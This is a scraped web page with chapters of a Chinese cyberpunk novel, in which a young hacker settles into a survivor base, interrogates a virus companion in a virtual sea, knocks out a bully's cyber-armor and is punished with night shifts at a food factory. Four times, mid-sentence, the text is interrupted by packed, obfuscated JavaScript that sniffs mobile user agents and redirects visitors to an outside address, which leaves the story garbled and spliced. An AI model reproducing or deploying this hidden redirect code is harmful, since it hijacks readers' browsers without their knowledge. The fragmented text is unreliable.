p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027805|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡拉:“那你呢?你也觉得去后勤没关系吗?” 卡拉无所谓地耸耸肩,灵活地跳到一张下铺坐下:“我无所谓呀,队长在哪我就去哪,反正都是干活。” “再说了,”她狡黠地眨眨眼,“我开销很小的,也没什么正经事要做!” 施蓝立刻毫不留情地揭短:“你知道她把贡献点都花在哪了吗?” 宣黎阳好奇地摇头。 “卡拉可是咱们第11区有名的八卦小公主!她在每个区都有情报渠道,基地里有什么风吹草动,她知道的可能比琼指挥官还早!” “喂!哪有那么夸张!”卡拉扑过去想捂住施蓝的嘴,可惜身高不够,反而被施蓝大笑着一把锁住,顺势抱起转了个圈。 闹了一会儿,卡拉才跟宣黎阳解释:“其实就是之前在前线的时候,认识了其他区的一些朋友啦。不过为了和他们保持联系,我确实花了好多贡献点在跨区通讯带宽上,心疼死我了!” 宣黎阳捕捉到了一个新名词:“跨区通讯还要消耗贡献点?” “是啊,”卡拉解释道,“因为每个幸存者基地内部有自己的局域网,内部通讯是没问题的。但是区和区之间距离遥远,环境复杂。有专门的通讯技术部负责维护跨区通道,防止被失控AI或者病毒攻击。但这个通道带宽有限,除了军用信息可以优先免费传输,普通的私人通讯都需要用贡献点来换取带宽,贵着呢!” 宣黎阳点点头,对基地的运作方式又多了解了一分。 这时,施蓝指了指宿舍内部,问道:“你看你要挑哪张床?” 宣黎阳这才有机会仔细打量整个房间。宿舍很小,有三张简单的金属架子床,每人一个看起来饱经风霜的铁皮储物柜,共用一张大桌子。最里面是一个狭小的卫生间。其中三张床已经铺好了被褥。嗯,看着倒是挺像大学宿舍的。 卡拉指着靠门的一张下铺说:“我和施蓝是上下铺,我睡上面,她睡下面。” 她又指了指中间那张床的下铺,“这张是队长的。本来这个房间还住了两个其他小队的队员,后来她们被调去第3区了,最里面那张床就空了出来。” 施蓝非常诚恳地补充:“我建议你睡上铺。因为不知道后面还会不会有人搬进来,如果是个跟我体格差不多的,睡你上面……我有点担心床的承重。” 宣黎阳看着施蓝的魁梧身躯,哭笑不得:“好,那我就睡最里面的上铺。” 她身上什么都没有,连穿的衣服都是施蓝借给她的旧作战服。手里拿了一袋她在后勤部领的基本生活必需品——一套灰色的基地制服、洗漱用品、薄薄的被褥枕头。 这些,就是她的全部家当了。也是她在这个全新的,未知的世界正式开启探索之旅的,最初的家当。 收拾完毕,她又去找加里医生做了全身检查。检查的结果倒是意料之中的一切正常,除了身体素质是极差以外,她的神经兼容性、芯片稳定性、大脑活跃度都是最佳指标。 加里医生惆怅地说:“回去找施蓝指导你锻炼锻炼吧,这副身子骨实在是太糟糕了!” 宣黎阳也正有此意。 当晚,她权限开通后,立刻在脑中的系统界面里看到自己的贡献点到账了——整整15000点。 “哇!你这功劳大大的呢!”施蓝满脸羡慕,“我和卡拉一人才5000!” “应该是队长写报告的时候专门替你申请的。”卡拉笑着补充,“你可得好好谢谢队长。” “我也不知道用来换什么……”宣黎阳想起白天舒彤的话,“不如我们去农场餐厅吃顿好的?我请客!” 旁边两人一阵欢呼雀跃。 “嘿嘿,我就不客气啦,要点好多优质蛋白,牛腱子、鳕鱼、甜虾、鸡蛋、希腊酸奶……”施蓝开始掰手指。 宣黎阳打开通讯:“我去叫队长和加里医生一起。” 卡拉拦住她:“队长晚上要开会,光头被别的小队借去出任务了,他俩都来不了。” 宣黎阳很是意外:“你确定吗?我明明下午才见过加里医生的。” 卡拉拍着胸脯,信心十足:“你可以质疑我的人品,但不能质疑我的消息。光头也是惨,回来洗了个澡就又出发了。没办法,医疗部人不够用啊!” 卡拉见她面露失望,凑过来揽住宣黎阳的肩膀,神秘兮兮地低语:“先去吃饭!我有别的新闻跟你们说。” 13. 中央岛 餐厅内,施蓝两眼放光,无比专注地对付着烤架上的牛小排和横膈膜。炭火噼啪作响,肉块滋滋冒油,她撒上一把辣椒面和孜然,诱人的香气立刻升腾起来。 宣黎阳已经吃了七八分饱,她放下筷子,看向早就按捺不住分享欲的卡拉。 “好了,”宣黎阳笑着问,“你要说的是什么大新闻?现在可以说了吧?” 卡拉迅速咽下嘴里的肉,擦了擦嘴:“新鲜出炉的!你知道你那S级义体‘烟烟罗’,本来是要给谁的吗?” 宣黎阳摇摇头,她只隐约听向天瑞提过似乎和第1区有关。 卡拉点头:“是莫予杉!那位第1区最近一批,不,严格来讲应该是近几年人造子宫出厂的自然人中,唯一检测出S级神经兼容性的顶级人物,金贵得很!” 宣黎阳对此并不意外,S级义体自然要配S级的人,这逻辑很通顺。 “但是!”卡拉话锋一转,“今天琼指挥官不是向第1区提交了任务报告嘛,里面详细说明了你的情况。意思就是,烟烟罗无法给莫予杉了。你们猜怎么着?”她故意卖了个关子。 施蓝忘记了咀嚼,宣黎阳也好奇地等待着下文。 “统帅那边,居然不知道从哪里,又给他找来了一个S级义体!” 这下宣黎阳是真的惊讶了:“不是说S级义体非常稀有吗?怎么这么容易就又找到一个?” 卡拉耸耸肩:“这个就别问我了,统帅这事儿做得相当隐秘,我朋友也打听不到具体经过。不过,”她晃了晃手指,“他得到的这个新S级义体可有意思了,你们猜能力是什么?” 施蓝和宣黎阳都摇了摇头。 卡拉一字一顿地说:“是,先,知!” 宣黎阳一头雾水。先知?这画风不对啊!怎么突然往玄学方向发展了?她一直以为这个高科技赛博世界是彻头彻尾的唯物主义。 卡拉看到宣黎阳脸上的表情,噗嗤一声笑了出来,赶紧解释:“哎呀!不是你以为的那种先知啦!不是什么水晶球、塔罗牌或者跳大神!” “这个义体名字叫做‘鬼谷子的棋盘’。听起来很玄乎是吧?但其实原理貌似很科学。是通过算法进行海量的数据推演,能够预测使用者在做出不同选择后,可能导致的各种后果以及发生的概率!据说能推演到未来三天内的结果,而且准确率高达99.99%!” 施蓝忍不住发出惊叹:“哇哦……”这能力在战略层面,简直堪称神器。魔挡杀魔,神挡弑神。 宣黎阳也感到震惊,但更多的是怀疑:“真有那么准吗?未来这种东西,变量太多了吧?而且就算是超级计算机也很难承受这计算量,人脑能受得了吗?” 卡拉摊手:“他也就是今天才刚装上,具体效果谁也不好说。但从目前反馈回来的结果看,好像真的很厉害的样子。至少在一些小范围测试里,预测都精准命中了。” 宣黎阳若有所思:“如果有这种东西在,他还要我的烟烟□□嘛?这能力听起来比当一个黑客有用多了,而且还没有深潜带来的脑死亡风险。” “听说''烟烟罗''好像是他自己最初指名想要的。反而是统帅那边,觉得‘先知’能力对前线战局更有利,希望他装备‘鬼谷子的棋盘’。现在阴差阳错,‘烟烟罗’到了你手里,统帅正好顺水推舟,把‘棋盘’给了他。”卡拉虽然知道结果,但也不清楚其中细节。 上层的明争暗斗暂且不论,三人吃饱喝足,慢悠悠地从农场餐厅散步回到宿舍区。 宣黎阳没忘记在餐厅的补给点给施蓝买了两大桶蛋白粉。这是她们在吃饭时说好的,作为施蓝日后带她进行体能训练的报酬。施蓝毫不客气地收下了,拍了拍宣黎阳的肩膀,表示“明天一早训练场见”。 虽然听了一肚子瓜,但宣黎阳心里清楚,说到底,那都是别人的事情,和她关系不大。目前她的首要任务,还是先在这个基地站稳脚跟,早日获得正式居民的身份。 夜深人静,宣黎阳躺在上铺,终于有机会获得片刻安宁。她调出系统界面,惊讶地发现自己的技能面板悄悄发生了变化。 她初始获得的三个技能,【空间扫描·E级】【快速破解·E级】【运行过载·E级】全部升到了D级。原先的运行耗时和冷却时间直接减少了一半。 她眼前一亮。这下技能突然变强了好多!菜鸡如我又有升级的动力了。 不仅如此,面板最下方还多了一个新的技能: 【瞒天过海·D级】 技能介绍:当谎言说到极致,连世界都会信以为真。静止状态下,你的存在将暂时从世界中抹除。 技能效果:60秒 冷却时间:5分钟 从这个技能介绍来看,毫无疑问与她在正义法庭上的一通信口开河有关。 武器面板中,之前的【碎片刃】已经消失了,取而代之的是: 【破冰者·D级】 武器介绍:散发寒冰的刀刃,能强行“冻结”防御程序,撕开缺口。 宣黎阳有点激动。原本以为碎片刃作为一次性道具已经消耗掉了,没想到换来了一个高级武器。看来她在源界中没有白折腾一番,风险虽大,但收益相当可观! 她在床上兴奋地握拳,在心里悄悄喊了声YES。翻了个身,开始好好复盘自己穿越后的经历。说起来,穿越后发生了这么多事,但仔细想想,也就只过去了一天而已。 第一,她阴差阳错获得了S级黑客义体,并且暂时保住了它,这无疑是她在基地安身立命的根本。但烟烟罗的能力似乎需要一步步解锁,加上源界本身也是个充满谜团的地方,她需要找机会再次深潜,来提升自己的能力。 第二,她在正义法庭上收服了那个自称“病毒”的假证贩子。对方自我复制的能力潜力巨大,但这家伙来历不明,她不放心。必须尽快找到约束贩子的方法,最好能探查到她的底细,否则迟早是个隐患。 第三,她幸运地遇到了愿意接纳她的队友,并且因为处罚"因祸得福",接下来一段时间只需要完成轻松的后勤任务。但是,上层不会放任S级义体的使用者这么一直清闲下去。她必须利用这段间,尽快提升自己最薄弱的环节:力量、耐力、速度…… 将纷乱的思绪暂时压下,宣黎阳决定先把眼下能掌控的事情做了——处理好那个聒噪的“员工”。她集中精神,将意识沉入那片未知的领域。 再次睁眼,她发现自己正浸泡在一片清浅的水中,水刚好没过胸口。贩子那张带着谄媚的脸正在岸边探头探脑,见她出现,立刻伸出手将她拉了上去。 宣黎阳环顾四周,她正站在一座不大的岛屿上,地面是某种坚实的、带着微光的物质。岛屿之外,是无边无际、深邃幽暗的海面。这应该就是贩子所说的源界表层,而她所在的这个岛,就是她在源界中的意识投影,想必是她脑中的芯片让她的意识与源界产生了连接。 她回头看向自己刚刚上岸的地方,那是岛屿中心的一个小湖。湖面不大,异常平静,湖水清澈,却完全看不到底。 “老板!你终于来了!我等你等得好苦啊!”贩子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032583|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁一把鼻涕一把泪。 宣黎阳微微蹙眉:“这座岛是我的意识化身,你一个病毒,就这么直接上岛了?” “不是啊老板!你听我解释!”贩子连忙摆手,指着那个小湖,“我发现你的岛对我没有排斥意识,就上来好奇转了转,随后才发现这个岛好像只是一个载体,真正的核心是那个湖!我本来想碰碰湖水,结果无论如何都碰不到水面,你看!” 说着,贩子伸手向湖面探去,果然在距离水面还有几厘米的地方被迫停下,仿佛有一层无形的坚韧屏障将她的手指牢牢挡住。 “所以我猜老板你的意识肯定在里面,你果然从这里出来了!” 宣黎阳闻言,自己伸出手,缓缓探向湖面。她的手指毫无阻碍地穿过了那层无形屏障,直接没入了微凉的湖水中。她稍微松了口气,看来自己的核心意识被保护得很好,并非什么外来存在都能触及。 她站起身,水珠从她手上滑落,没有留下任何痕迹。 “这么说,你曾经试图破坏过我的意识核心?” 小个子一惊,诚惶诚恐:“我哪敢呐!这一切都是误会,误会……毕竟我一开始也不知道那是个啥呀!” 宣黎阳眯眼盯着贩子盯了许久,直到对方寒毛直立,畏缩地移开视线,这才说道。 “走吧,去看看这片海面上还有些什么东西。” “遵命,老板!”贩子立刻来了精神,屁颠屁颠地跟在她身后。 两人朝着岛屿的另一端走去,脚下的微光在无边的黑暗中显得格外渺小。没多久,宣黎阳远远看到海面上似乎有什么东西。靠近了才看清,那是一条细细的、透明的桥,从她的小岛延伸出去,连接着远方一个看起来要大上数十倍的岛。 贩子道:“老板,周围这些东西都是在某一刻突然出现的,之前都没有。” 宣黎阳小心翼翼地踏上这条通道,可以通行,没有障碍,小贩也紧跟着上来。两人沿途走来,发现在大岛周围还有许多条类似的浮桥,以大岛为中心辐射出来,连接上包括她在内的,数不清的漂浮小岛,共同构成了一片以中央岛为核心的岛屿群。 中央岛上数据流和能量信号构成的辉光,将整个岛屿照得灯火通明。岛屿中心,同样有一个巨大的湖泊,湖面波光粼粼,比宣黎阳那个小湖要壮观得多。湖底深处影影绰绰,似乎有庞大的的东西在缓缓运转。 宣黎阳带着好奇,在中央岛上四处走了走,甚至还通过几条通道跑到邻近的几个小岛上看了看。和她猜测的一样,作为外来者,她无法触碰到那些小岛湖泊的水面。只是不论大岛还是小岛,都没有人的踪影。 重新回到中央岛上,宣黎阳心中已然明了。 这些星罗棋布的小岛,应该就代表了第11区基地中所有安装了芯片的人,他们的意识在源界表层形成了岛状的投影。中央岛就是整个基地的局域网。那个波光粼粼的大湖下面,想必就是基地局域网的核心程序了。 她想起卡拉说过,基地和基地之间也有专门的外部通讯通道。 果然,在中央岛的某一侧,她发现了一条比内部通道粗壮十几倍的巨型跨海大桥,从中央岛延伸出去,直通向黑暗的海面,一眼看不见尽头。外部通道入口处空空荡荡,但既然卡拉说过有专人维护,想必肯定有什么防御措施。 宣黎阳心中迅速盘算出一个计划。 她对入侵基地的局域网没什么兴趣,怎么看都是有百害而无一利的行为。 不过,或许可以利用基地的防御系统,给贩子做个局。 14. 千面 宣黎阳带着贩子,径直朝着那条通往外界的巨型通道入口走去。 “老板,咱们这是要去哪?这地方感觉没那么简单吧……”贩子有点莫名其妙,亦步亦趋地跟着。 “问那么多干嘛?听我的!”宣黎阳语气平静,脚步却未停。 “哦……” 两人大摇大摆地接近通道入口,宣黎阳意料之中的意外发生了。 嗡——! 数道炽热的红色激光射线瞬间凭空出现,交织成一个密不透风的立体牢笼,将两人死死困在其中! 贩子被吓了一跳,下意识就想往后缩,后背却险些碰到身后的激光墙,又被欲哭无泪地逼了回来。 “老板!这下咋办啊!这玩意儿我可吞不掉啊!”贩子带着哭腔。她尝试丢出一小片复制出的自己,可刚碰到激光射线,就如同水滴落入烧红的铁板,瞬间汽化,冒出了一小缕嘲笑的青烟。 宣黎阳心下镇定,她冷静地看着炽热的射线交织成死亡之网,向自己切割而来。 就在激光即将触及身体的瞬间—— 启动【瞒天过海·D级】! 她的身形直接与环境融为一体,激光如同穿过空气般,毫无阻碍地穿透了她原本所在的位置。 这激光阵看着吓人,实际只是防火墙给外来入侵者的一次初级警告,并非死局。技能持续时间60秒,足够她仔细观察激光的运行规律了。 至于贩子…… “老板!老板你怎么消失了!你在哪里哇,救我呀!”贩子可没有这种本事,她在牢笼中狼狈不堪地躲闪,身体边缘已经被激光擦过好几次,吓得她体内代码都蹦跶出来,又被她手忙脚乱塞了回去。 宣黎阳气定神闲,直接与她开启了谈判:“这是第二次了。上次在法庭,可以说是为了共同对,我们共患难,带你逃脱了牢狱之灾。但这次我可没义务救你,所以给我一个理由?” “老板!我是你的员工啊!我们上次合作多么愉快!”贩子惊险地在越来越密集的激光阵里旋转跳跃,不时被切割掉一小块代码,连忙洒泪表忠心。 “你觉得你是一名合格的员工吗?我的员工必须对我绝对的忠诚,毫无隐瞒。而你之前说的话,没几句是真的吧?” “老板!我没有!”贩子还在嘴硬。激光扫过,射穿了她的大腿,她哀嚎一声,忍痛复制出新的电子血肉,勉强躲过了下一次的攻击。 30秒过去,宣黎阳不再说话,只是默默地看着激光开始新一轮循环。 短短十几秒内,贩子肉眼可见的心余力绌,眼看激光就要切到她的紫色核心,她终于投降了。 “我说!我说!我知道一个名字!和一个地点!” 60秒到了,宣黎阳的身影重新出现。她不再废话,带着贩子在牢笼中腾挪旋转,靠着观察得出的规律带着贩子灵活地逃出生天。两人回到了安全的巨型大桥。 贩子还在惊魂未定,宣黎阳不给她喘息的机会,直接开始审问: “姓名?” “不知道……” “你从哪儿来?” “不清楚……” “你的底层指令是什么?” “不了解……” 眼看宣黎阳的表情沉了下来,贩子赶紧解释: “老板你听我说!我没骗你!我是不到一天前才苏醒的,醒来的时候,就构建的那个神川市贫民窟里。 我不知道自己叫什么,也不知道从哪里来,更别提什么底层指令了。但我醒来时,记得一个名字和一个地点——名字是‘森山纯子’,地点是‘神川市6号卫星城,德田重工大厦’! 我跟着老板你,也就是想先活下去,积攒点实力,然后找机会去那个地方看看,说不定能发现有关我来历的线索……” 宣黎阳心中微微一动。如果贩子没撒谎,森山纯子和神川市6号卫星城,这条线索指向的是什么?而贩子的另一句话更让她在意——她居然是和自己差不多时间苏醒的? 如果贩子是源界里的原生病毒,的统治下怎么可能安稳存活了20年才刚醒来? 看来贩子的来历确实充满谜团。不过从此刻的表现和动机来看,她似乎没有继续隐瞒的必要。 “好,我暂且信你。”宣黎阳开口道,“有机会的话,我会带你去你说的那个地方看看。‘森山纯子’这个名字,我也会想办法找寻线索。但前提是,从今以后,你不可以再有任何事情隐瞒我。” “一定!老板!我保证!”贩子立刻忙不迭地答应。 “试用期就从今天开始算吧。”宣黎阳看了看眼前的小个子,“另外,需要给你起个名字吧?总不能一直叫你‘喂’。还是说……‘森山纯子’就是你的名字?” 贩子摇头:“虽然我没印象,但总觉得这个不是我的名字。我一个病毒,应该不会取这么人性化的名字吧?” “也是。”宣黎阳点点头,思索片刻,“那就叫你‘千面’吧!千面千样,你不是能复制出无数个自己,并变成不同的样子吗?” 贩子愣了一下,似乎对这个名字非常满意:“千面……好听!谢谢老板!” 宣黎阳看着这个临时收编的员工,不管还有多少欺瞒和假意,她和千面的纽带,从此刻开始算是正式绑定了。 待办清单终于划去了一项。心头一松,睡意袭来,宣黎阳支撑不住,睡了过去。 天刚蒙蒙亮,宣黎阳就被施蓝毫不留情地从被窝里拎了起来,睡眼惺忪地来到训练场。这里已经有不少早起的人在挥汗如雨。 “先从基础拉伸开始,激活身体。”施蓝示范了一套标准的全身拉伸动作,动作流畅。 宣黎阳努力学着做,可她感觉自己像生锈的机器人,原装肉身比这些换上了义体和金属骨骼的人还要别扭,关节僵硬,韧带紧绷,每一个动作都疼得呲牙咧嘴,动作歪歪扭扭,与施蓝的示范相去甚远。 施蓝面无表情地看着,上前帮她调整姿势:“放松,感受肌肉的伸展。” “嘶疼疼疼疼!姐,你是我亲姐,别直接坐我背上——” 接着是跑步机。施蓝设定了一个对她自己来说堪称饭后溜达的慢速,宣黎阳跑上去没两分钟,就开始气喘吁吁,肺部窜起一股铁锈味。 “心肺功能太弱。”施蓝皱着眉,调慢了速度,“坚持,别停。” “呼哈,呼哈,呼哈……欸!” 啪唧一声,宣黎阳从跑步机上滑了下去。 然后是绳梯训练,用来锻炼四肢协调性和敏捷度。可宣黎阳不是踩到绳子,就是同手同脚,毫无节奏感可言。施蓝此刻似乎都有些无所适从,她揉了揉眉心,无语地看着最后被绳子绊倒,抱着扭伤的脚腕大声呼痛的宣黎阳。 最后是力量训练。施蓝给她挑了两个最迷你的哑铃,那对哑铃在她手里像是婴儿的玩具。可一个简单的弯举动作,宣黎阳做起来却两股战战,手臂发抖,宛若帕金森综合征重度患者,随时可能砸到自己的脚。施蓝不得已,给她做了力量测试,发现她手提重物的最大重量是:2kg。 施蓝:“……” 宣黎阳沉重地闭了闭眼。蓝姐,我懂。你一定是顾着我的面子,才只在心里骂:你是我带过的最差的一届! 由于太过于格格不入,她们的训练引来了不少目光。起初大多是善意的好奇,直到一个不和谐的声音响起。 “哟,我没看错吧?施蓝什么时候改行当保姆了?” 一个身材壮如棕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037061|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熊、留着浓密络腮胡的男人走了过来,操着浓重的北方口音,上半身是典型的“西伯利亚悍匪”式重型义体,配有粗大的液压杆和厚重的装甲。 宣黎阳后来通过卡拉的补课才知道,这人名叫德米特里·库兹涅佐夫,是基地里少数在纯粹力量上能与施蓝一较高下的人,也一直将施蓝视为最重要的竞争对手,有事没事就喜欢找施蓝的茬。 施蓝皱起眉头,将瘫坐在地的宣黎阳挡在身后,语气冷硬:“管好你的舌头,德米特里。” 德米特里却哈哈大笑,声如洪钟,根本没把施蓝的警告放在眼里,径直走到宣黎阳面前,像是在打量一件稀奇物品。 “瞧瞧这可怜的小身板,像只没长毛的小鸡仔!跑几步就要断气了?施蓝,你是从哪个保温箱里捡来的这种残次品?这玩意儿也能叫战士?简直是对我们这些为基地翻山越岭的人最大的侮辱!” 他的几个跟班发出附和的嘲笑声,训练场内不少人的目光都被吸引过来。 见施蓝脸色更冷,德米特里得意地晃了晃合金拳头,讥讽的声音放大,故意让全场都听到: “哦——等等!我好像听说了点有趣的事!有人说你们小队运气好得出奇,出去一趟捡了个天海公司的古董回来?就是这个小东西?” 他夸张地挑着眉,指着宣黎阳道:“依我看,在营养液里泡了二十年的标本,除了还能喘气,跟死了有什么区别?怎么,你们小队是打算改行开博物馆,还是指望她能用眼神杀死AI?” 德米特里粗鲁的嘲笑声在训练场里回荡,见对方吃瘪,他心满意足地转身,准备带着跟班离开。围观群众都以为这场闹剧将以宣黎阳和施蓝的隐忍而告终。 那是不可能的。 虽说好汉不吃眼前亏,可她宣黎阳不是好汉,也没打算吃眼前亏。怎么说呢,她最烦这种实战打不过,就妄图用语言攻击伤害到对方的懦弱的人了。 她早在德米特里最开始张嘴的时候就用【空间扫描】锁定了对方的芯片,升到D级的【快速破解】只需要30秒就能启动。 “喂!我说。”宣黎阳晃着身子站了起来,脸色苍白,眼神却很犀利,“像你这种人,空长一身肌肉却只会占嘴上便宜,真的好下头啊!不过我心胸宽广以德报怨,看你身上的芯片和你那张破嘴一样,都该升级了,不如我做点好事,帮帮你吧?” 话音刚落,她启动【运行过载】。 “啊啊啊——!” 德米特里猛地发出一声痛苦的闷哼,脸上瞬间失去血色,庞大的身躯一个踉跄,直接跪倒在地,发出咚的巨响!是那套他引以为傲的重型装甲,因为突然失去了动力支持,将他的身体牢牢压在地上,动弹不得。 “你对我做了什么?” 德米特里又惊又怒,艰难地仰起脖子,像只被掀翻的乌龟一样,难以置信地瞪着那个气都没喘匀的女孩。 训练场内一片哗然。所有人都惊呆了,他们根本没看到宣黎阳有任何动作,德米特里就突然中招倒地了! 施蓝也惊讶地看着宣黎阳,似乎明白了什么,但没有插手。 “你不是很喜欢这套装甲吗?为你点播一首《你是风儿我是沙》,这下你们可以一直在一起,缠缠绵绵绕天涯了!” 德米特里气得浑身发抖,他想发作,但青筋暴起,也只是屈辱地在地上摇晃一下。在围观群众或惊愕、或幸灾乐祸的目光中,他狼狈地被几个跟班合力抬走,连句狠话都没能撂下。 施蓝低声说:“你可真会惹麻烦!” 但语气里并没有多少责备,反而带着点“干得不错”的意味。 宣黎阳满不在乎,擦了擦额头上的汗:“谁叫他要来招惹我们呢!好了,他走了,我们继续练吗?” 15. 食品加工厂 训练场风波的后续比宣黎阳预想中来得更快。 晨练完,她和施蓝来到食堂吃早饭。霍霍一次后,二人都舍不得花贡献点,只能吃基地配给的合成食品。宣黎阳看着盘子里深红色的果冻状食物,疑惑地问施蓝:“这是什么东西做的?” 施蓝一边吃一遍嘟囔:“别问,你不会想了解的。你只要知道它能满足人体所需的营养元素就行了。” 宣黎阳试探性地用勺子挖了一块,浅尝了一口,她这个是山楂味。施蓝的那份,从颜色看起来应该是松花蛋味。 感觉,如果当甜点吃还不错?不过当饭吃就好像差了点,作为肉食主义者,她还是不习惯没有肉的食谱。 舒彤和卡拉端着盘子坐到了她们对面。舒彤没有废话,直接通知:“我们小队今天的工作已经安排好了,吃完饭去后勤支援部报到。” “什么工作?”宣黎阳又舀了一勺颤巍巍的果冻,努力不去想它的原料。 “具体内容还没通知。”舒彤顿了顿,看向卡拉。 卡拉压低声音补充:“我听说前几天出外勤的通讯维护小队今天会回来,貌似在路上遇到了点麻烦,可能会让我们去接应,确保他们安全返回。” 四人快速解决了这顿滋味难评的早餐,在舒彤的带领下来到后勤部一间繁忙的办公室。里面人声鼎沸,通讯请求和信息提示音此起彼伏,没人有空理会她们。 舒彤径直走向正在交谈的两个男人,立正点头:“丰部长,霍尔长官,早上好。” 卡拉在宣黎阳耳边飞快低语:“矮胖的那个是丰文翰,后勤支援部部长。高个子金发的是贾哈·霍尔,基地安全官,琼指挥官的副手,负责内部安全维护,是个笑面虎。” 丰部长看到舒彤,脸上立刻堆起热情的笑容,仿佛看到了救星:“舒队长!你们来了就好,今天的工作已经排好了,资料我马上让人发到你终端。还是外勤任务,不过对你们来说肯定不是问题!幸好有你们在,不然我这临时还真抽调不出合适的人手……” 看起来他对舒彤的到来非常开心。 舒彤点了点头,正准备带人离开,却被一旁一直没开口的安全官霍尔叫住了。 “舒队长,先别急着走呀。” 霍尔的声音黏黏糊糊,拖着长音,听起来既慵懒又阴柔,像一条盘旋的灰蛇,与他高大挺拔的英俊外表形成极大的反差。 舒彤停下脚步,转身面对他,语气平静:“霍尔长官,有什么事吗?” 霍尔灰色的眼睛慢悠悠地扫过舒彤身后的队员,最终抬起修长的手指,精准地点向了宣黎阳和施蓝:“有人举报你的这两位队员——今天早上在公共训练场,寻衅滋事,把德米特里·库兹涅佐夫……给打了一顿。” 他故意把“打了一顿”几个字咬得意味深长。 舒彤眉头都没皱一下,立刻回应:“我相信我的队员不会无故动手。如果发生冲突,一定是事出有因。我请求长官对此事进行详细调查。” “请求就不必了——”霍尔拖长了调子,脸上挂着似笑非笑的表情,“该调查的,我自然已经派人查清楚了。虽然没有直接的肢体冲突,但是,德米特里的重型义体突然失灵,反向过载,把他自己给压伤了,现在还躺在医疗部呢。” 他的目光轻飘飘地落在宣黎阳身上:“想必,这应该就是新来的这位——你刚挖出来的宝贝——的杰作吧?无声无息,真是好手段。” “你没有证据!”卡拉忍不住出声反驳。 霍尔大手一挥,打断了卡拉的争辩,声音依旧不紧不慢,却不容置疑:“不用再挣扎了。我已经汇报给琼指挥官,她刚批准你留下这来路不明的新人,结果这位临时公民转身就在基地内攻击同伴。这种事情要是轻轻揭过,想必……无法服众啊。” 舒彤深吸一口气,知道纠缠下去没有意义:“所以,霍尔长官打算如何处置?” 霍尔露出官方的笑容:“当然,我也知道现在处于特殊时期,人手不够,就罚她们两个——就是动手的那位,和她的同伙——”他再次点了点宣黎阳和施蓝,“晚班去打扫合成食品加工厂,两个星期。这不算重罚吧?毕竟,德米特里可是要在医疗部躺更久呢。” 食品加工厂?宣黎阳想起早餐那诡异的果冻和施蓝的忠告,预感那不是一个好地方。 以后还能吃得下食堂的饭吗…… 舒彤脸色一沉:“我们还有后勤部分配的任务。” “这个嘛,舒队长不用担心。”霍尔轻松地把问题抛给了旁边的丰部长,“白班任务照常完成,只是晚上加个班而已。至于外勤任务,丰部长会帮你安排其他人手顶上的。对吧,丰部长?” 丰文翰擦了擦额头上的汗,连忙点头哈腰:“啊,是,是,当然!霍尔长官放心,舒队长放心,人手我来安排,我来安排!” 舒彤看了霍尔一眼,不再多说,转身带着一脸不服的宣黎阳和施蓝,以及气鼓鼓的卡拉,大步离开了办公室。 晚班时间,宣黎阳和施蓝穿上臃肿的特制防护服,包裹得像两个严丝合缝的粽子,连呼吸都只能依靠面罩上的空气循环系统。 合成食品加工厂的负责人也穿着同款防护服,熟门熟路地带着她们通过二楼的金属网格通道,从喧嚣的厂区上方穿过。 “下面是矿物质区。”负责人沉闷的声音透过防护面罩传来。 宣黎阳低头看去,下方巨大的球磨机发出震耳欲聋的噪音,传送带源源不断将灰白色石块送入球磨机,扬起的粉尘在空气中四处弥漫。机器另一端,白色石浆汩汩流出,缓缓注入沉淀罐中。 他们没有在此过多停留,快速穿过这片区域,进入下一个厂区。 刚一跨过隔离门,即使隔着高效的过滤面罩,一股浓烈的腐败酸臭味依旧扑面而来,直冲天灵盖。 宣黎阳差点撅过去,忍着恶心往下看。只见下方是十二个发酵池,通过粗大的管道彼此连接,每个发酵池都有标准泳池大小。池中黄灰色的粘稠液体稠乎乎的,里面悬浮着厚厚的、棉絮般的菌群,咕噜咕噜冒着泡。 负责人在这里停下脚步,指着下方的发酵池:“这是微生物区。你们这周的任务就是打扫这里。真菌粘性大、繁殖速度快,容易黏在池壁、池底以及管道内部,造成堵塞,影响营养液提取效率。因此需要人工定期清理干净。” 宣黎阳注意到,身旁全副武装的施蓝在听到负责人的话后,原本紧绷的肩膀明显松弛了下来,仿佛逃过一劫。 不是,这里难道还不是最恐怖的地方吗? 负责人迅速交代完注意事项,离开时的脚步都变得轻快了起来,显然也不愿在此地多待。 宣黎阳和施蓝则苦兮兮地去工具间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041066|194447||http|test|mini|href|location''.split(''|''),0,{})); () { 